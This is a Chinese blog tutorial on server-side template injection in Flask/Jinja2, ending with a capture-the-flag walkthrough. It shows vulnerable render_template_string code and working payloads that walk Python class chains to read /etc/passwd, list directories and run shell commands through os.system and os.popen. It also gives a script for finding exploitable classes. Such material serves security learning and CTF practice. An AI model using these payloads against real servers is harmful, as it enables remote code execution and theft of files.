zoukankan      html  css  js  c++  java
  • Python-模板注入

    何为模板注入?

    模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易。

    但是模板引擎也拓宽了我们的攻击面。注入到模板中的代码可能会引发RCE或者XSS。

    flask基础

    在学习SSTI之前,先把flask的运作流程搞明白。这样有利用更快速的理解原理。

    路由

    先看一段代码

    from flask import flask 
    @app.route('/index/')
    def hello_word():
        return 'hello word'
    

    route装饰器的作用是将函数与url绑定起来。例子中的代码的作用就是当你访问http://127.0.0.1:5000/index的时候,flask会返回hello word。

    渲染方法

    flask的渲染方法有render_template和render_template_string两种。

    render_template()是用来渲染一个指定的文件的。使用如下

    return render_template('index.html')
    

    render_template_string则是用来渲染一个字符串的。SSTI与这个方法密不可分。

    使用方法如下

    html = '<h1>This is index page</h1>'
    return render_template_string(html)
    

    模板

    flask是使用Jinja2来作为渲染引擎的。看例子

    在网站的根目录下新建templates文件夹,这里是用来存放html文件。也就是模板文件。

    test.py

    from flask import Flask,url_for,redirect,render_template,render_template_string
    @app.route('/index/')
    def user_login():
        return render_template('index.html')
    

    /templates/index.html

    <h1>This is index page</h1>
    

    访问127.0.0.1:5000/index/的时候,flask就会渲染出index.html的页面。

    模板文件并不是单纯的html代码,而是夹杂着模板的语法,因为页面不可能都是一个样子的,有一些地方是会变化的。比如说显示用户名的地方,这个时候就需要使用模板支持的语法,来传参。

    例子

    test.py

    from flask import Flask,url_for,redirect,render_template,render_template_string
    @app.route('/index/')
    def user_login():
        return render_template('index.html',content='This is index page.')
    

    /templates/index.html

    <h1>{{content}}</h1>
    

    这个时候页面仍然输出This is index page

    {{}}在Jinja2中作为变量包裹标识符。

    模板注入

    不正确的使用flask中的render_template_string方法会引发SSTI。那么是什么不正确的代码呢?

    xss利用

    存在漏洞的代码

    @app.route('/test/')
    def test():
        code = request.args.get('id')
        html = '''
            <h3>%s</h3>
        '''%(code)
        return render_template_string(html)
    

    这段代码存在漏洞的原因是数据和代码的混淆。代码中的code是用户可控的,会和html拼接后直接带入渲染。

    尝试构造code为一串js代码。

    将代码改为如下

    @app.route('/test/')
    def test():
        code = request.args.get('id')
        return render_template_string('<h1>{{ code }}</h1>',code=code)
    

    继续尝试

     可以看到,js代码被原样输出了。这是因为模板引擎一般都默认对渲染的变量值进行编码转义,这样就不会存在xss了。在这段代码中用户所控的是code变量,而不是模板内容。存在漏洞的代码中,模板内容直接受用户控制的。

    模板注入

    不正确的使用flask中的render_template_string方法会引发SSTI。那么是什么不正确的代码呢?

    目录:

    (1)几种常用于ssti的魔术方法

    (2)获取基类的几种方法

    (3)获取基本类的子类

    (4)利用

    (5)读写文件

    (6)shell命令执行

    (7)绕过姿势

    (8)实战(填坑中)

    (9)参考(挖坑)

    (10)补充

    其它模板注入payload

    目录:

    Flask模板注入

    解析:

    众所周知ssti要被{{}}包括。接下来的代码均要包括在ssti中。

    1.几种常用于ssti的魔术方法

    __class__  返回类型所属的对象
    __mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
    __base__   返回该对象所继承的基类
    // __base__和__mro__都是用来寻找基类的
    
    __subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
    __init__  类的初始化方法
    __globals__  对包含函数全局变量的字典的引用
    __builtins__ builtins即是引用,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以可以直接调用引用的模块
    

      2.获取基类的几种方法

    [].__class__.__base__
    ''.__class__.__mro__[2]
    ().__class__.__base__
    {}.__class__.__base__
    request.__class__.__mro__[8]   //针对jinjia2/flask为[9]适用
    或者
    [].__class__.__bases__[0]       //其他的类似

    3.获取基本类的子类

    >>> [].__class__.__base__.__subclasses__()
    
    [<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]

    ssti的主要目的就是从这么多的子类中找出可以利用的类(一般是指读写文件的类)加以利用。

    那么我们可以利用的类有哪些呢?

    4.利用

    我们可以利用的方法有<type 'file'>等。(甚至file一般是第40号)

    >>> ().__class__.__base__.__subclasses__()[40]('/etc/passwd').read()

    可以从上面的例子中看到我们用file读取了 /etc/passwd ,但是如果想要读取目录怎么办?

    那么我们可以寻找万能的os模块。

    写脚本遍历。

    #!/usr/bin/env python
    # encoding: utf-8
    
    num = 0
    
    for item in ''.__class__.__mro__[2].__subclasses__():
        try:
             if 'os' in item.__init__.__globals__:
                 print num,item
             num+=1
        except:
            print '-'
            num+=1

     直接调用就好了。可以直接调用system函数,有了shell其他的问题不就解决了吗?

    >>> ().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')

    5.读写文件

    当然,某些情况下system函数会被过滤。这时候也可以采用os模块的listdir函数来读取目录。(可以配合file来实现任意文件读取)

    >>> ().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.')  #读取本级目录

    另外在某些不得已的情况下可以使用以下方式来读取文件。(没见过这种情况)。

    方法一:

    >>> ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()    #把 read() 改为 write() 就是写文件

    方法二:

    存在的子模块可以通过 .index()方式来查询

    >>> ''.__class__.__mro__[2].__subclasses__().index(file)
    40

    用file模块来查询。

    >>> [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()

    这里拿 xctf 中的 Web_python_template_injection 做例子

    进入题目界面可以看到

     尝试模板注入       {{7*7}}

    /49的存在说明7*7这条指令被忠实地执行了。接下来,开始想办法编代码拿到服务器的控制台权限 首先,题目告诉我们这是一个python注入问题,那么脚本肯定也是python的,思考怎样用python语句获取控制台权限:想到了os.system和os.popen([参考资料](https://blog.csdn.net/sxingming/article/details/52071514)),这两句前者返回**退出状态码**,后者**以file形式**返回**输出内容**,我们想要的是内容,所所以选择os.popen`

    知道了要用这一句,那么我要怎么找到这一句呢?python给我们提供了完整的寻找链(参考资料)
    class:返回对象所属的类
    mro:返回一个类所继承的基类元组,方法在解析时按照元组的顺序解析。
    base:返回该类所继承的基类 //base__和__mro__都是用来寻找基类的__subclasses:每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
    init:类的初始化方法
    globals:对包含函数全局变量的字典的引用
    首先,找到当前变量所在的类:

     有回显。尝试模板注入。

    构造payload: ?{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

    读目录发现了fl4g。直接用file读取。构造payload:  ?{{[].__class__.__base__.__subclasses__()[40]('fl4g').read()}}

     拿到了flag。

    ##注意事项:

    ''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('catfl4g').read()
    
    
    ''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
    
    
    ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()

    以上payload是非常常用的payload

    文章引用:

    https://blog.csdn.net/qq_45449318/article/details/105302194

    https://www.freebuf.com/column/187845.html

    https://www.cnblogs.com/cioi/p/12308518.html#a1

  • 相关阅读:
    《需求工程--软件建模与分析》读书笔记一
    软件工程概论课程总结及给老师的意见
    梦断代码阅读笔记之三
    梦断代码阅读笔记之二
    第二阶段小组冲刺第七天总结
    软件工程第十一周学习进度条
    用户场景描述
    软件工程第九、十周学习进度条
    个人工作总结
    软件工程第八周学习进度条
  • 原文地址:https://www.cnblogs.com/wjw-zm/p/12741047.html
Copyright © 2011-2022 走看看